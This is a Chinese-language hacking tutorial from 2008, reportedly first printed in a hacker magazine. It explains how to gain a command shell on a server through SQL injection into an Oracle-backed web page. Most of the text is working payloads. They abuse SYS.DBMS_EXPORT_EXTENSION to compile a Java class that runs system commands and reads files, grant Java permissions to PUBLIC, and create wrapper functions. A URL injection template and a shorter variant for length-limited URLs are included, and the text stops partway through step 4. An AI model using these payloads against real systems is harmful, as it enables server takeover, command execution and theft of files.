犀利的 oracle 注入技术

犀利的 oracle 注入技术

原文发表在黑客手册

linx 2008.1.12

介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。

以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION…..改成

/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION…..)

的形式即可。(用" 'a'|| "是为了让语句返回true值)

语句有点长，可能要用post提交。

以下是各个步骤：

1.创建包

通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：

/xxx.jsp?id=1 and '1'<>'a'||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(

new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}

}'''';END;'';END;–','SYS',0,'1',0) from dual

)

————————

如果url有长度限制，可以把readFile()函数块去掉，即：

/xxx.jsp?id=1 and '1'<>'a'||(

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(

new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}

}'''';END;'';END;–','SYS',0,'1',0) from dual

)

同时把后面步骤 提到的 对readFile()的处理语句去掉。

——————————

2.赋Java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;–','SYS',0,'1',0) from dual

3.创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;–','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''

create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;–','SYS',0,'1',0) from dual

4.赋public执行函数的权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''gran

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